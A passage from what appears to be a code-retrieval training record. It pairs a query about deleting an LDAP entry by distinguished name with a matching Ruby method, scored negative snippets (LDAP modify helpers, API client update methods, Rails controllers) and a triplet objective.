"def edit(entry)\n return \"Node hostname cannot be empty!\" if entry['hostname'].empty?\n load\n doc = REXML::Element.new(\"NODE\")\n doc.add_attributes(entry)\n if entry['oldname'].empty?\n # adding a new node\n @@nds.each{|n|\n return \"'#{n['hostname']}' already exists!\" if n['hostname'] == entry['hostname'] && n['testbed'] == entry['testbed']\n }\n result = OMF::Services.inventory.addNode(doc.to_s)\n return AM_ERROR if !XPath.match(result, \"ADD_NODE/OK\" )\n else\n # update an existing entry\n @@nds.collect! {|n|\n if n['hostname'] == entry['oldname']\n n = entry\n n.delete('oldname')\n end\n n\n }\n end\n saveDnsmasqConfig\n return \"OK\"\n end",
"def cmd_modify argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.modify(json, e)\n msg response\n return response\n end",
"def domain_update(args)\n if args.key?(:chg) && args[:chg].key?(:registrant)\n raise ArgumentError, 'You need to do a trade or recover operation to change the registrant'\n end\n has_contacts = args.key?(:add) && args[:add].key?(:contacts) || args.key?(:add) && args[:add].key?(:contacts)\n has_ns = args.key?(:add) && args[:add].key?(:ns) || args.key?(:add) && args[:add].key?(:ns)\n has_other = args.key?(:add) && args[:add].key?(:status) || args.key?(:add) && args[:add].key?(:status) || args.key?(:chg) && args[:chg].key?(:authInfo)\n if [has_contacts, has_ns, has_other].count { |v| v } > 1\n raise ArgumentError, \"You can't update all that at one time\"\n end\n [:add, :rem].each do |ar|\n if args.key?(ar) && args[ar].key?(:ns) && args[ar][:ns].first.is_a?(String)\n args[ar][:ns] = args[ar][:ns].map { |ns| { :hostName => ns } }\n end\n end\n super\n end",
"def attributes=(should)\n connect unless @connection\n case @resource[:entry_management]\n when :inclusive\n Puppet.debug(\"Replacing entire #{@resource[:name]} entry\")\n data = should\n data['objectclass'] = @resource[:objectclass]\n @connection.delete(:dn => @resource[:name])\n @connection.add(:dn => @resource[:name], :attributes => data)\n when :minimal\n attributes_to_update.each do |k, v|\n Puppet.debug(\"Updating #{k} with #{v} for entry #{@resource[:name]}\")\n @connection.modify(:dn => @resource[:name], :operations => [[ :replace, k.to_sym, v ]])\n end\n end\n end",
"def modify(name, mods)\n connect { |connection| connection.modify dn(name), mods }\n end",
"def update!(**args)\n @description = args[:description] if args.key?(:description)\n @permissions = args[:permissions] if args.key?(:permissions)\n @action = args[:action] if args.key?(:action)\n @in = args[:in] if args.key?(:in)\n @not_in = args[:not_in] if args.key?(:not_in)\n @conditions = args[:conditions] if args.key?(:conditions)\n @log_config = args[:log_config] if args.key?(:log_config)\n end",
"def ldap_mod_replace( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_REPLACE, attribute.to_s, values.flatten )\n\tend",
"def ldap_mod_replace( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_REPLACE, attribute.to_s, values.flatten )\n\tend",
"def update\n @ldap_entry = LdapEntry.find(params[:id])\n\n respond_to do |format|\n if @ldap_entry.update_attributes(ldap_entry_params)\n format.html { redirect_to ldap_entries_path, notice: 'Ldap entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ldap_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @entry = args[:entry] if args.key?(:entry)\n end",
"def update!(**args)\n @entrys = args[:entrys] unless args[:entrys].nil?\n @kind = args[:kind] unless args[:kind].nil?\n end",
"def delete_entry( c, dn ) # :yields: connection_info, distinguished_name\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n @ldap.delete dn: dn\n raise \"Unable to remove record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/\n end",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end",
"def update_ldap_info(ldap_info)\n ldap_info.each do |key, value|\n if self.respond_to?(:\"#{key}=\")\n self.send :\"#{key}=\", value\n end\n end\n generate_attributes_from_ldap_info\n end",
"def ldappassword\n\n$HOST = ''\n$PORT = LDAP::LDAP_PORT\n$SSLPORT = LDAP::LDAPS_PORT\nbase = 'dc=, dc='\nldapadmin = 'cn=, dc=, dc='\nldapadminpass = ''\nscope = LDAP::LDAP_SCOPE_SUBTREE\nattrs = ['sn', 'cn']\n\n#hash the password for ldap change\ne_password = \"{SHA}\" + Base64.encode64(Digest::SHA1.digest(@newpasswd)).chomp\n\nconn = LDAP::Conn.new($HOST, $PORT)\nreset = [\n LDAP.mod(LDAP::LDAP_MOD_REPLACE, \"userPassword\", [e_password]),\n]\n\n conn.bind(ldapadmin,ldapadminpass)\n begin\n conn.search(base, scope, \"uid=#{@authex.username}\", attrs) { |entry|\n $USERDN = entry.dn\n }\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n\n begin\n conn.modify(\"#{$USERDN}\", reset)\n puts $USERDN\n rescue LDAP::ResultError => msg\n puts \"Can't change password: \" + msg\n exit 0\n rescue LDAP::Error => errcode\n puts \"Can't change password: \" + LDAP.err2string(errcode)\n exit 0\n end\n\n\n\nend",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def modify_attribute(action, key, *values)\n key = Ldaptic.encode(key)\n values.flatten!.map! {|v| Ldaptic.encode(v)}\n @original_attributes[key] ||= []\n virgin = @original_attributes[key].dup\n original = Ldaptic::AttributeSet.new(self, key, @original_attributes[key])\n original.__send__(action, values)\n begin\n namespace.modify(dn, [[action, key, values]])\n rescue\n @original_attributes[key] = virgin\n raise $!\n end\n if @attributes[key]\n read_attribute(key).__send__(action, values)\n end\n self\n end",
"def update!(**args)\n @operations = args[:operations] unless args[:operations].nil?\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @account_access = args[:account_access] if args.key?(:account_access)\n @account_id = args[:account_id] if args.key?(:account_id)\n @container_access = args[:container_access] if args.key?(:container_access)\n @email_address = args[:email_address] if args.key?(:email_address)\n @permission_id = args[:permission_id] if args.key?(:permission_id)\n end",
"def ldap_mod_add( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_ADD, attribute.to_s, values.flatten )\n\tend",
"def ldap_mod_add( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_ADD, attribute.to_s, values.flatten )\n\tend",
"def change_password(ldap)\n puts \"enter first name\"\n firstname=gets.chomp\n puts \"enter new password\"\n password=gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ldap.replace_attribute dn, :userPassword, password\n puts \"****** change password result ******\"\n puts ldap.get_operation_result\n end",
"def update!(**args)\n @entrys = args[:entrys] unless args[:entrys].nil?\n end",
"def []=(name, value)\n @ldap_entry[name] = value\n end",
"def update!(**args)\n @data_catalog_entry = args[:data_catalog_entry] if args.key?(:data_catalog_entry)\n @fully_qualified_name = args[:fully_qualified_name] if args.key?(:fully_qualified_name)\n @google_cloud_resource = args[:google_cloud_resource] if args.key?(:google_cloud_resource)\n @system = args[:system] if args.key?(:system)\n end",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n @service_name = args[:service_name] if args.key?(:service_name)\n end",
"def update!(**args)\n @base = args[:base] if args.key?(:base)\n @description = args[:description] if args.key?(:description)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @operation = args[:operation] if args.key?(:operation)\n @self_link = args[:self_link] if args.key?(:self_link)\n end",
"def update!(**args)\n @client_info = args[:client_info] if args.key?(:client_info)\n @entry = args[:entry] if args.key?(:entry)\n @platform_type = args[:platform_type] if args.key?(:platform_type)\n @resources = args[:resources] if args.key?(:resources)\n @threat_type = args[:threat_type] if args.key?(:threat_type)\n @user_info = args[:user_info] if args.key?(:user_info)\n end",
"def update\n \n @collection = Collection.find(@mlog_entry[:collection_id])\n @accession = Accession.find(@mlog_entry[:accession_id])\n\n respond_to do |format|\n if @mlog_entry.update(mlog_entry_params)\n format.html { redirect_to @mlog_entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mlog_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def contact_update(handle, fields)\n fields = contact_prepare(fields)\n fields[:handle] = handle\n query 'contact-modify', fields\n end",
"def update_resource(resource_desc, resource_type, authorizer, new_attributes)\n debug \"update_resource: resource_descr: #{resource_desc}, type: #{resource_type}, new_attrs: #{new_attributes}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end",
"def update!(**args)\n @linked_resource = args[:linked_resource] if args.key?(:linked_resource)\n @modify_time = args[:modify_time] if args.key?(:modify_time)\n @relative_resource_name = args[:relative_resource_name] if args.key?(:relative_resource_name)\n @search_result_subtype = args[:search_result_subtype] if args.key?(:search_result_subtype)\n @search_result_type = args[:search_result_type] if args.key?(:search_result_type)\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @binding_explanations = args[:binding_explanations] if args.key?(:binding_explanations)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @policy = args[:policy] if args.key?(:policy)\n @relevance = args[:relevance] if args.key?(:relevance)\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @binding_explanations = args[:binding_explanations] if args.key?(:binding_explanations)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @policy = args[:policy] if args.key?(:policy)\n @relevance = args[:relevance] if args.key?(:relevance)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update!(**args)\n @contacts = args[:contacts] if args.key?(:contacts)\n @entry_overview = args[:entry_overview] if args.key?(:entry_overview)\n end",
"def update_resource(object, attrs)\n object.update_with_password(*attrs)\n end",
"def update!(**args)\n @ad_group = args[:ad_group] if args.key?(:ad_group)\n @label = args[:label] if args.key?(:label)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @ad_group_criterion = args[:ad_group_criterion] if args.key?(:ad_group_criterion)\n @label = args[:label] if args.key?(:label)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @asset = args[:asset] if args.key?(:asset)\n @catalog_entry = args[:catalog_entry] if args.key?(:catalog_entry)\n @compatibility = args[:compatibility] if args.key?(:compatibility)\n @create_time = args[:create_time] if args.key?(:create_time)\n @data_path = args[:data_path] if args.key?(:data_path)\n @data_path_pattern = args[:data_path_pattern] if args.key?(:data_path_pattern)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @etag = args[:etag] if args.key?(:etag)\n @format = args[:format] if args.key?(:format)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @schema = args[:schema] if args.key?(:schema)\n @system = args[:system] if args.key?(:system)\n @type = args[:type] if args.key?(:type)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update!(**args)\n @common_labels = args[:common_labels] unless args[:common_labels].nil?\n @entries = args[:entries] unless args[:entries].nil?\n end",
"def update!(**args)\n @attributes = args[:attributes] if args.key?(:attributes)\n @resources = args[:resources] if args.key?(:resources)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end",
"def update_user_info(user_info)\n return if !user_info || user_info.empty?\n\n # get the current user entry\n curr_user_info = read_user(user_info[:email])\n if curr_user_info\n dn = get_DN(curr_user_info[:cn])\n\n Net::LDAP.open(@ldap_conf) do |ldap|\n #update the ldap attributes\n desc_attributes = {}\n ALLOW_UPDATING.each do |attribute|\n if user_info && !!user_info[attribute] && (curr_user_info[attribute] != user_info[attribute])\n if PACKED_ENTITY_FIELD_MAPPING.include?(attribute)\n desc_attributes[attribute] = user_info[attribute]\n else\n if !(ldap.replace_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n if !curr_user_info[attribute]\n if !(ldap.add_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n puts curr_user_info\n puts user_info\n\n ops = [[:add, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]]]\n ldap.modify :dn => dn, :operations => ops\n\n raise ldap_ex(ldap, \"Unable to add new attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n else\n raise ldap_ex(ldap, \"Unable to update attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n end\n end\n end\n end\n\n # updat the attributes that are encoded in description\n if !desc_attributes.empty?\n temp = (curr_user_info.clone).merge(desc_attributes)\n packed = pack_fields(temp)\n ldap.replace_attribute(dn, LDAP_DESCRIPTION_FIELD, packed)\n end\n end\n end\n end",
"def update!(**args)\n @access_control_lists = args[:access_control_lists] if args.key?(:access_control_lists)\n @attached_resource_full_name = args[:attached_resource_full_name] if args.key?(:attached_resource_full_name)\n @fully_explored = args[:fully_explored] if args.key?(:fully_explored)\n @iam_binding = args[:iam_binding] if args.key?(:iam_binding)\n @identity_list = args[:identity_list] if args.key?(:identity_list)\n end",
"def update!(**args)\n @child_link = args[:child_link] if args.key?(:child_link)\n @created = args[:created] if args.key?(:created)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @permissions = args[:permissions] if args.key?(:permissions)\n @self_link = args[:self_link] if args.key?(:self_link)\n @starred = args[:starred] if args.key?(:starred)\n @updated = args[:updated] if args.key?(:updated)\n end",
"def apply_mods( modsArray )\n\n compact = false\n\n modsArray.each do |record|\n entry = self.getDN(record.dn)\n case record.change_type & ~LDAP::LDAP_MOD_BVALUES\n\n when LDAP::LDAP_MOD_ADD\n # self.add_entry(record) record.dn should not already exist.\n\n when LDAP::LDAP_MOD_DELETE # self = nil?\n unless ( entry.nil? ) then\n entry = nil\n compact = true\n end\n\n when LDAP::LDAP_MOD_REPLACE\n # change_type modify is mapped to replace\n entry.apply_mod(record) unless ( entry.nil? )\n end\n end\n\n @entries.compact! if compact # Remove all nil objects\n end",
"def test_for_modifyEntry\n assert( @item1.entry.include?( \"Ham\" ), \n\t \"Entry does not include 'Ham'.\" )\n assert_equal( @item1.entry.length, 1 )\n assert_equal( @item2.entry.length, 1 )\n\t\n\[email protected]( \"Sausage\" )\n\[email protected]( \"Sausage\" )\n\[email protected]( \"Fried Egg\" )\n\tassert_equal( @item1.entry.length, 3 )\n\tassert( @item1.entry.include?( \"Sausage\" ), \n\t \"Entry does not include 'Sausage'.\" )\n\tassert( @item1.entry.include?( \"Fried Egg\" ), \n\t \"Entry does not include 'Fried Egg'.\" )\n\tassert_equal( @item1.count[ @item1.entry.index( \"Sausage\" ) ], 2 )\n end",
"def update!(**args)\n @resource_container = args[:resource_container] if args.key?(:resource_container)\n @resource_location = args[:resource_location] if args.key?(:resource_location)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @allow_open = args[:allow_open] if args.key?(:allow_open)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @labels = args[:labels] if args.key?(:labels)\n @mtls_policy = args[:mtls_policy] if args.key?(:mtls_policy)\n @name = args[:name] if args.key?(:name)\n @server_certificate = args[:server_certificate] if args.key?(:server_certificate)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update!(**args)\n @grouped_entry = args[:grouped_entry] if args.key?(:grouped_entry)\n end",
"def update!(**args)\n @grouped_entry = args[:grouped_entry] if args.key?(:grouped_entry)\n end",
"def update!(**args)\n @attribute_count = args[:attribute_count] if args.key?(:attribute_count)\n @create_time = args[:create_time] if args.key?(:create_time)\n @data_access_spec = args[:data_access_spec] if args.key?(:data_access_spec)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @etag = args[:etag] if args.key?(:etag)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @parent_id = args[:parent_id] if args.key?(:parent_id)\n @resource_access_spec = args[:resource_access_spec] if args.key?(:resource_access_spec)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update!(**args)\n @address = args[:address] if args.key?(:address)\n @ca_cert_data = args[:ca_cert_data] if args.key?(:ca_cert_data)\n @cluster = args[:cluster] if args.key?(:cluster)\n @data_disk = args[:data_disk] if args.key?(:data_disk)\n @datacenter = args[:datacenter] if args.key?(:datacenter)\n @datastore = args[:datastore] if args.key?(:datastore)\n @folder = args[:folder] if args.key?(:folder)\n @resource_pool = args[:resource_pool] if args.key?(:resource_pool)\n end",
"def update!(**args)\n @allow_no_resource_group_match = args[:allow_no_resource_group_match] if args.key?(:allow_no_resource_group_match)\n @description = args[:description] if args.key?(:description)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @id = args[:id] if args.key?(:id)\n @mode = args[:mode] if args.key?(:mode)\n @resource_groups = args[:resource_groups] if args.key?(:resource_groups)\n end",
"def modify_attributes(mods) #:nodoc:\n namespace.modify(dn, mods)\n self\n end",
"def update!(**args)\n @container_id = args[:container_id] if args.key?(:container_id)\n @permission = args[:permission] if args.key?(:permission)\n end",
"def update!(**args)\n @resource = args[:resource] if args.key?(:resource)\n @service = args[:service] if args.key?(:service)\n @source_entry = args[:source_entry] if args.key?(:source_entry)\n @storage_properties = args[:storage_properties] if args.key?(:storage_properties)\n end",
"def update!(**args)\n @analyze_service_account_impersonation = args[:analyze_service_account_impersonation] if args.key?(:analyze_service_account_impersonation)\n @expand_groups = args[:expand_groups] if args.key?(:expand_groups)\n @expand_resources = args[:expand_resources] if args.key?(:expand_resources)\n @expand_roles = args[:expand_roles] if args.key?(:expand_roles)\n @output_group_edges = args[:output_group_edges] if args.key?(:output_group_edges)\n @output_resource_edges = args[:output_resource_edges] if args.key?(:output_resource_edges)\n end",
"def domain_update(domain, fields)\n unless ([ :admin, :tech, :billing, :nservers ] - fields.keys).empty?\n raise ArgumentError, \"Required fields not found\"\n end\n query :domain_modify, {\n domain: domain,\n admin_c: fields[:admin],\n tech_c: fields[:tech],\n billing_c: fields[:billing],\n ns_list: fields[:nservers].join(':')\n }\n end",
"def ldap_mod_delete( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_DELETE, attribute.to_s, values.flatten )\n\tend",
"def ldap_mod_delete( attribute, *values )\n\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_DELETE, attribute.to_s, values.flatten )\n\tend",
"def update!(**args)\n @contact_group_id = args[:contact_group_id] if args.key?(:contact_group_id)\n @delegated_group_info = args[:delegated_group_info] if args.key?(:delegated_group_info)\n @metadata = args[:metadata] if args.key?(:metadata)\n @system_contact_group_id = args[:system_contact_group_id] if args.key?(:system_contact_group_id)\n end",
"def update!(**args)\n @description = args[:description] if args.key?(:description)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @queryable = args[:queryable] if args.key?(:queryable)\n @referenced_system_columns = args[:referenced_system_columns] if args.key?(:referenced_system_columns)\n @references_attributes = args[:references_attributes] if args.key?(:references_attributes)\n @references_metrics = args[:references_metrics] if args.key?(:references_metrics)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @value_type = args[:value_type] if args.key?(:value_type)\n end",
"def update!(**args)\n @ad_group_ad = args[:ad_group_ad] if args.key?(:ad_group_ad)\n @label = args[:label] if args.key?(:label)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @allocated_connections = args[:allocated_connections] if args.key?(:allocated_connections)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @host_type = args[:host_type] if args.key?(:host_type)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n @type = args[:type] if args.key?(:type)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n @uri = args[:uri] if args.key?(:uri)\n end",
"def modify\n debug(\"#{self.class}::modify\")\n\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n end\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n\n\n\n @payload = {}\n if !($description.to_s.empty?)\n @payload[:description] = $description\n end\n if !($peak_latency.to_s.empty?)\n @payload[:peak_latency] = $peak_latency\n end\n if !($peak_iops_per_tb.to_s.empty?)\n @payload[:peak_iops_per_tb] = $peak_iops_per_tb\n end\n if !($expected_iops_per_tb.to_s.empty?)\n @payload[:expected_iops_per_tb] = $expected_iops_per_tb\n end\n resourceType = \"storageservicelevel\"\n\n if(transport.http_put_request(apiUri , @payload.to_json , resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n end\n\n end",
"def update_resource(object, attributes)\n object.update(*attributes)\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n @etag = args[:etag] if args.key?(:etag)\n @group_id = args[:group_id] if args.key?(:group_id)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @resource = args[:resource] if args.key?(:resource)\n end",
"def update!(**args)\n @acl_inheritance_type = args[:acl_inheritance_type] if args.key?(:acl_inheritance_type)\n @denied_readers = args[:denied_readers] if args.key?(:denied_readers)\n @inherit_acl_from = args[:inherit_acl_from] if args.key?(:inherit_acl_from)\n @owners = args[:owners] if args.key?(:owners)\n @readers = args[:readers] if args.key?(:readers)\n end",
"def update!(**args)\n @acl_inheritance_type = args[:acl_inheritance_type] if args.key?(:acl_inheritance_type)\n @denied_readers = args[:denied_readers] if args.key?(:denied_readers)\n @inherit_acl_from = args[:inherit_acl_from] if args.key?(:inherit_acl_from)\n @owners = args[:owners] if args.key?(:owners)\n @readers = args[:readers] if args.key?(:readers)\n end",
"def update!(**args)\n @connection_attributes = args[:connection_attributes] if args.key?(:connection_attributes)\n @database_service = args[:database_service] if args.key?(:database_service)\n @hostname = args[:hostname] if args.key?(:hostname)\n @password = args[:password] if args.key?(:password)\n @port = args[:port] if args.key?(:port)\n @username = args[:username] if args.key?(:username)\n end",
"def update!(**args)\n @accesses = args[:accesses] if args.key?(:accesses)\n @resource_edges = args[:resource_edges] if args.key?(:resource_edges)\n @resources = args[:resources] if args.key?(:resources)\n end",
"def update!(**args)\n @credential = args[:credential] if args.key?(:credential)\n @description = args[:description] if args.key?(:description)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @labels = args[:labels] if args.key?(:labels)\n @manifest = args[:manifest] if args.key?(:manifest)\n @name = args[:name] if args.key?(:name)\n @operation = args[:operation] if args.key?(:operation)\n @outputs = args[:outputs] if args.key?(:outputs)\n @self_link = args[:self_link] if args.key?(:self_link)\n @target = args[:target] if args.key?(:target)\n @update = args[:update] if args.key?(:update)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @condition = args[:condition] if args.key?(:condition)\n @container_id = args[:container_id] if args.key?(:container_id)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @name = args[:name] if args.key?(:name)\n @notes = args[:notes] if args.key?(:notes)\n @rule_id = args[:rule_id] if args.key?(:rule_id)\n end",
"def update!(**args)\n @error = args[:error] if args.key?(:error)\n @resource = args[:resource] if args.key?(:resource)\n end",
"def update!(**args)\n @log_name = args[:log_name] if args.key?(:log_name)\n @resource = args[:resource] if args.key?(:resource)\n @labels = args[:labels] if args.key?(:labels)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @memberships = args[:memberships] if args.key?(:memberships)\n @request_id = args[:request_id] if args.key?(:request_id)\n @space = args[:space] if args.key?(:space)\n end",
"def update!(**args)\n @circle_id = args[:circle_id] if args.key?(:circle_id)\n @contact_group_id = args[:contact_group_id] if args.key?(:contact_group_id)\n @metadata = args[:metadata] if args.key?(:metadata)\n @system_contact_group_id = args[:system_contact_group_id] if args.key?(:system_contact_group_id)\n end",
"def update!(**args)\n @ad_group_criterion = args[:ad_group_criterion] if args.key?(:ad_group_criterion)\n @info = args[:info] if args.key?(:info)\n end",
"def update!(**args)\n @resource_group = args[:resource_group] if args.key?(:resource_group)\n @resource_kind = args[:resource_kind] if args.key?(:resource_kind)\n end",
"def update!(**args)\n @address = args[:address] if args.key?(:address)\n @ca_cert_data = args[:ca_cert_data] if args.key?(:ca_cert_data)\n @cluster = args[:cluster] if args.key?(:cluster)\n @datacenter = args[:datacenter] if args.key?(:datacenter)\n @datastore = args[:datastore] if args.key?(:datastore)\n @folder = args[:folder] if args.key?(:folder)\n @resource_pool = args[:resource_pool] if args.key?(:resource_pool)\n @storage_policy_name = args[:storage_policy_name] if args.key?(:storage_policy_name)\n end",
"def update!(**args)\n @description = args[:description] if args.key?(:description)\n @field_actions = args[:field_actions] if args.key?(:field_actions)\n @resource_filter = args[:resource_filter] if args.key?(:resource_filter)\n end",
"def update!(**args)\n @advanced_networking = args[:advanced_networking] if args.key?(:advanced_networking)\n @island_mode_cidr = args[:island_mode_cidr] if args.key?(:island_mode_cidr)\n @multiple_network_interfaces_config = args[:multiple_network_interfaces_config] if args.key?(:multiple_network_interfaces_config)\n @sr_iov_config = args[:sr_iov_config] if args.key?(:sr_iov_config)\n end",
"def update!(**args)\n @description = args[:description] if args.key?(:description)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @operation = args[:operation] if args.key?(:operation)\n @self_link = args[:self_link] if args.key?(:self_link)\n @status = args[:status] if args.key?(:status)\n @template_contents = args[:template_contents] if args.key?(:template_contents)\n end"
] | [
"0.6744574",
"0.6497927",
"0.60004467",
"0.595042",
"0.59479856",
"0.59115237",
"0.57591045",
"0.5537294",
"0.5492222",
"0.5431266",
"0.5388358",
"0.5270078",
"0.5257175",
"0.5213396",
"0.5180569",
"0.51710707",
"0.5163162",
"0.515719",
"0.50943655",
"0.50943655",
"0.50694454",
"0.50682765",
"0.506156",
"0.5055153",
"0.5046399",
"0.50186914",
"0.50001484",
"0.49764377",
"0.49484053",
"0.49482363",
"0.4926755",
"0.4926755",
"0.4926755",
"0.49142233",
"0.4912352",
"0.4912352",
"0.4906065",
"0.48915014",
"0.48898682",
"0.4860997",
"0.48558384",
"0.48528636",
"0.48439512",
"0.48050022",
"0.48019978",
"0.4787105",
"0.4773752",
"0.47702664",
"0.47702664",
"0.4768143",
"0.4768143",
"0.47676617",
"0.47586524",
"0.47525063",
"0.47497323",
"0.4745898",
"0.4740206",
"0.4736542",
"0.47360018",
"0.47201583",
"0.47031426",
"0.47021925",
"0.46962583",
"0.46910864",
"0.46843043",
"0.467321",
"0.46728837",
"0.4669299",
"0.4656731",
"0.46494046",
"0.4648221",
"0.4641814",
"0.46398723",
"0.46351525",
"0.46302545",
"0.46272075",
"0.46272075",
"0.46234885",
"0.4619755",
"0.4618138",
"0.46134794",
"0.46099815",
"0.46092328",
"0.46037066",
"0.45939976",
"0.45939976",
"0.4581785",
"0.45799825",
"0.4570183",
"0.45672008",
"0.4565594",
"0.4565394",
"0.4564652",
"0.45615962",
"0.45589727",
"0.45588547",
"0.45481142",
"0.45462906",
"0.45449743",
"0.45420566"
] | 0.79542965 | 0 |
== Delete Entry Expects a connection resource object, along with a .dn method that returns the Distinguished Name of the entry to be deleted. | def delete_entry( c, dn ) # :yields: connection_info, distinguished_name
self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap
@ldap.delete dn: dn
raise "Unable to remove record: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete(dn)\n @conn.delete :dn => dn\n end",
"def delete(dn)\n log_dispatch(:delete, dn)\n adapter.delete(dn)\n end",
"def delete_entry(entry)\n @address_book.entries.delete(entry)\n puts \"#{entry.name} has been deleted\"\n end",
